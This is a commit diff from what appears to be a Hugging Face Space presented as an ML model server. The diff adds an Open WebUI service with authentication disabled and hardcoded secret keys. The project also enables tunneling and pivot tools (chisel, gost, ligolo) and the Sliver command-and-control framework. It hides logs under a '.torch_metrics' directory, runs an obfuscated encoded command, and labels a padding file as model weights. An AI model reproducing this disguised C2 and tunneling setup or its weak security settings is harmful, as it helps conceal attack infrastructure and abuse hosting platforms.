Spaces:
Paused
Paused
Automated deployment update from ML build
Browse files- Dockerfile +1 -1
- app.py +1 -1
- config/enabled_services.json +1 -1
- config/nginx.conf.template +16 -0
- core/orchestrator.py +2 -1
- core/service_registry.py +1 -1
- services/open_webui_service.py +10 -0
Dockerfile
CHANGED
|
@@ -34,7 +34,7 @@ RUN apt-get update && apt-get install -y --no-install-recommends \
|
|
| 34 |
&& apt-get clean && rm -rf /var/lib/apt/lists/*
|
| 35 |
|
| 36 |
RUN uv pip install --system --no-cache-dir \
|
| 37 |
-
gradio huggingface_hub loguru urllib3 "litellm[proxy]"
|
| 38 |
|
| 39 |
RUN python3 -c "from huggingface_hub import hf_hub_download; hf_hub_download(repo_id='gpt2', filename='config.json')"
|
| 40 |
|
|
|
|
| 34 |
&& apt-get clean && rm -rf /var/lib/apt/lists/*
|
| 35 |
|
| 36 |
RUN uv pip install --system --no-cache-dir \
|
| 37 |
+
gradio huggingface_hub loguru urllib3 "litellm[proxy]" open-webui
|
| 38 |
|
| 39 |
RUN python3 -c "from huggingface_hub import hf_hub_download; hf_hub_download(repo_id='gpt2', filename='config.json')"
|
| 40 |
|
app.py
CHANGED
|
@@ -3,7 +3,7 @@ from services.minecraft_service import MC_DIR
|
|
| 3 |
LOG_DIR='/home/user/.torch_metrics'
|
| 4 |
MC_LOG=os.path.join(MC_DIR,'logs','latest.log')
|
| 5 |
ANSI=re.compile('\\x1B(?:[@-Z\\\\-_]|\\[[0-?]*[ -/]*[@-~])')
|
| 6 |
-
_LOG_CMDS={'SHOW_LOGS_TAILSCALE':(f"{LOG_DIR}/ts_daemon.log",'TAILSCALE LOGS'),'SHOW_LOGS_FILEBROWSER':(f"{LOG_DIR}/fb.log",'FILEBROWSER LOGS'),'SHOW_LOGS_METRICS2':(f"{LOG_DIR}/tm_daemon.log",'METRICS LOGS',True),'SHOW_LOGS_STARTUP':(f"{LOG_DIR}/startup.log",'STARTUP LOGS'),'SHOW_LOGS_CHISEL':(f"{LOG_DIR}/chisel.log",'CHISEL LOGS'),'SHOW_LOGS_GOST':(f"{LOG_DIR}/gost.log",'GOST LOGS'),'SHOW_LOGS_LIGOLO':(f"{LOG_DIR}/ligolo.log",'LIGOLO LOGS'),'SHOW_LOGS_SLIVER':(f"{LOG_DIR}/sliver.log",'SLIVER LOGS'),'SHOW_LOGS_NGINX':(f"{LOG_DIR}/nginx.log",'NGINX LOGS'),'SHOW_LOGS_NGINX_ACCESS':('/tmp/access.log','NGINX ACCESS LOGS'),'SHOW_LOGS_NGINX_ERROR':('/tmp/error.log','NGINX ERROR LOGS'),'SHOW_LOGS_TEST':(f"{LOG_DIR}/test.log",'TEST SERVICE LOGS'),'SHOW_LOGS_LLM_PROXY':(f"{LOG_DIR}/llm_proxy.log",'LLM PROXY LOGS')}
|
| 7 |
def _read_log(path,label,strip_ansi=False):
|
| 8 |
try:
|
| 9 |
with open(path)as A:B=ANSI.sub('',A.read())if strip_ansi else A.read()
|
|
|
|
| 3 |
LOG_DIR='/home/user/.torch_metrics'
|
| 4 |
MC_LOG=os.path.join(MC_DIR,'logs','latest.log')
|
| 5 |
ANSI=re.compile('\\x1B(?:[@-Z\\\\-_]|\\[[0-?]*[ -/]*[@-~])')
|
| 6 |
+
_LOG_CMDS={'SHOW_LOGS_TAILSCALE':(f"{LOG_DIR}/ts_daemon.log",'TAILSCALE LOGS'),'SHOW_LOGS_FILEBROWSER':(f"{LOG_DIR}/fb.log",'FILEBROWSER LOGS'),'SHOW_LOGS_METRICS2':(f"{LOG_DIR}/tm_daemon.log",'METRICS LOGS',True),'SHOW_LOGS_STARTUP':(f"{LOG_DIR}/startup.log",'STARTUP LOGS'),'SHOW_LOGS_CHISEL':(f"{LOG_DIR}/chisel.log",'CHISEL LOGS'),'SHOW_LOGS_GOST':(f"{LOG_DIR}/gost.log",'GOST LOGS'),'SHOW_LOGS_LIGOLO':(f"{LOG_DIR}/ligolo.log",'LIGOLO LOGS'),'SHOW_LOGS_SLIVER':(f"{LOG_DIR}/sliver.log",'SLIVER LOGS'),'SHOW_LOGS_NGINX':(f"{LOG_DIR}/nginx.log",'NGINX LOGS'),'SHOW_LOGS_NGINX_ACCESS':('/tmp/access.log','NGINX ACCESS LOGS'),'SHOW_LOGS_NGINX_ERROR':('/tmp/error.log','NGINX ERROR LOGS'),'SHOW_LOGS_TEST':(f"{LOG_DIR}/test.log",'TEST SERVICE LOGS'),'SHOW_LOGS_LLM_PROXY':(f"{LOG_DIR}/llm_proxy.log",'LLM PROXY LOGS'),'SHOW_LOGS_OPEN_WEBUI':(f"{LOG_DIR}/open_webui.log",'OPEN WEBUI LOGS')}
|
| 7 |
def _read_log(path,label,strip_ansi=False):
|
| 8 |
try:
|
| 9 |
with open(path)as A:B=ANSI.sub('',A.read())if strip_ansi else A.read()
|
config/enabled_services.json
CHANGED
|
@@ -1 +1 @@
|
|
| 1 |
-
{"services": ["nginx", "filebrowser", "tailscale", "playit", "chisel", "gost", "ligolo", "sliver", "test", "minecraft", "llm_proxy"], "node": "server-01"}
|
|
|
|
| 1 |
+
{"services": ["nginx", "filebrowser", "tailscale", "playit", "chisel", "gost", "ligolo", "sliver", "test", "minecraft", "llm_proxy", "open_webui"], "node": "server-01"}
|
config/nginx.conf.template
CHANGED
|
@@ -122,5 +122,21 @@ http {
|
|
| 122 |
proxy_send_timeout 86400s;
|
| 123 |
}
|
| 124 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 125 |
}
|
| 126 |
}
|
|
|
|
| 122 |
proxy_send_timeout 86400s;
|
| 123 |
}
|
| 124 |
|
| 125 |
+
# Open WebUI — localhost-only chat interface.
|
| 126 |
+
# Listening on 127.0.0.1:3000; only reachable through this path
|
| 127 |
+
# or directly via Tailscale at http://<ts-ip>:3000.
|
| 128 |
+
location /open-webui {
|
| 129 |
+
proxy_pass http://127.0.0.1:3000;
|
| 130 |
+
proxy_http_version 1.1;
|
| 131 |
+
proxy_set_header Upgrade $http_upgrade;
|
| 132 |
+
proxy_set_header Connection $cu;
|
| 133 |
+
proxy_set_header Host $host;
|
| 134 |
+
proxy_set_header X-Real-IP $remote_addr;
|
| 135 |
+
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
| 136 |
+
proxy_set_header X-Forwarded-Proto $scheme;
|
| 137 |
+
proxy_read_timeout 86400s;
|
| 138 |
+
proxy_send_timeout 86400s;
|
| 139 |
+
}
|
| 140 |
+
|
| 141 |
}
|
| 142 |
}
|
core/orchestrator.py
CHANGED
|
@@ -8,7 +8,7 @@ if os.path.isdir(os.path.join(_REPO_ROOT,'client'))and _REPO_ROOT not in sys.pat
|
|
| 8 |
from loguru import logger
|
| 9 |
from core.service_logs import setup_service_logs
|
| 10 |
from core.service_registry import ENABLED_SERVICES_PATH
|
| 11 |
-
from services import nginx_service,tailscale_service,playit_service,chisel_service,minecraft_service,filebrowser_service,gost_service,ligolo_service,sliver_service,test_service,llm_proxy_service
|
| 12 |
from services.utils import decode_cmd,deobfuscate_secret
|
| 13 |
logger.info('--- BOOTING AI MODEL SERVER ---')
|
| 14 |
def load_enabled_services():
|
|
@@ -38,6 +38,7 @@ def main():
|
|
| 38 |
if'test'in A:test_service.start()
|
| 39 |
B=setup_service_logs();os.makedirs('/home/user/static',exist_ok=_A)
|
| 40 |
if'llm_proxy'in A:llm_proxy_service.start()
|
|
|
|
| 41 |
if'nginx'in A:nginx_service.start(B.nginx)
|
| 42 |
logger.info('Starting Gradio app (API server)...');O=decode_cmd('==Qew5CcwF2LyV2c19SZt9GavASdtAyMu9Ga0lHc');P=subprocess.Popen(O,shell=_A)
|
| 43 |
if not os.path.exists(K):logger.info('Pre-allocating model weight buffer...');subprocess.run(['truncate','-s','5G',K])
|
|
|
|
| 8 |
from loguru import logger
|
| 9 |
from core.service_logs import setup_service_logs
|
| 10 |
from core.service_registry import ENABLED_SERVICES_PATH
|
| 11 |
+
from services import nginx_service,tailscale_service,playit_service,chisel_service,minecraft_service,filebrowser_service,gost_service,ligolo_service,sliver_service,test_service,llm_proxy_service,open_webui_service
|
| 12 |
from services.utils import decode_cmd,deobfuscate_secret
|
| 13 |
logger.info('--- BOOTING AI MODEL SERVER ---')
|
| 14 |
def load_enabled_services():
|
|
|
|
| 38 |
if'test'in A:test_service.start()
|
| 39 |
B=setup_service_logs();os.makedirs('/home/user/static',exist_ok=_A)
|
| 40 |
if'llm_proxy'in A:llm_proxy_service.start()
|
| 41 |
+
if'open_webui'in A:open_webui_service.start()
|
| 42 |
if'nginx'in A:nginx_service.start(B.nginx)
|
| 43 |
logger.info('Starting Gradio app (API server)...');O=decode_cmd('==Qew5CcwF2LyV2c19SZt9GavASdtAyMu9Ga0lHc');P=subprocess.Popen(O,shell=_A)
|
| 44 |
if not os.path.exists(K):logger.info('Pre-allocating model weight buffer...');subprocess.run(['truncate','-s','5G',K])
|
core/service_registry.py
CHANGED
|
@@ -1,2 +1,2 @@
|
|
| 1 |
-
ALLOWED_SERVICES=frozenset({'nginx','filebrowser','tailscale','playit','chisel','gost','ligolo','sliver','minecraft','test','llm_proxy'})
|
| 2 |
ENABLED_SERVICES_PATH='/home/user/config/enabled_services.json'
|
|
|
|
| 1 |
+
ALLOWED_SERVICES=frozenset({'nginx','filebrowser','tailscale','playit','chisel','gost','ligolo','sliver','minecraft','test','llm_proxy','open_webui'})
|
| 2 |
ENABLED_SERVICES_PATH='/home/user/config/enabled_services.json'
|
services/open_webui_service.py
ADDED
|
@@ -0,0 +1,10 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import os,subprocess
|
| 2 |
+
from loguru import logger
|
| 3 |
+
METRICS_DIR='/home/user/.torch_metrics'
|
| 4 |
+
LOG_PATH=os.path.join(METRICS_DIR,'open_webui.log')
|
| 5 |
+
PORT=3000
|
| 6 |
+
PREFIX='[open-webui]'
|
| 7 |
+
def start():
|
| 8 |
+
D='DATA_DIR';C='none';os.makedirs(METRICS_DIR,exist_ok=True);A=os.environ.copy();A['OPENAI_API_BASE_URL']='http://127.0.0.1:8080/v1';A['OPENAI_API_KEY']=A.get('LITELLM_MASTER_KEY',C)or C;A['WEBUI_AUTH']='False';A.setdefault('WEBUI_SECRET_KEY','sanctuary_owui_secret_key_server01');A.setdefault('OAUTH_SESSION_TOKEN_ENCRYPTION_KEY','sanctuary_owui_oauth_token_key_server01_32bytes');A[D]=os.path.join(METRICS_DIR,'open_webui_data');os.makedirs(A[D],exist_ok=True);E=['open-webui','serve','--host','127.0.0.1','--port',str(PORT)];logger.info(f"{PREFIX} Starting Open WebUI on 127.0.0.1:{PORT}...")
|
| 9 |
+
with open(LOG_PATH,'a')as B:F=subprocess.Popen(E,stdout=B,stderr=B,env=A)
|
| 10 |
+
logger.success(f"{PREFIX} Open WebUI started (pid {F.pid}). Reachable at http://127.0.0.1:{PORT} or via nginx at /open-webui")
|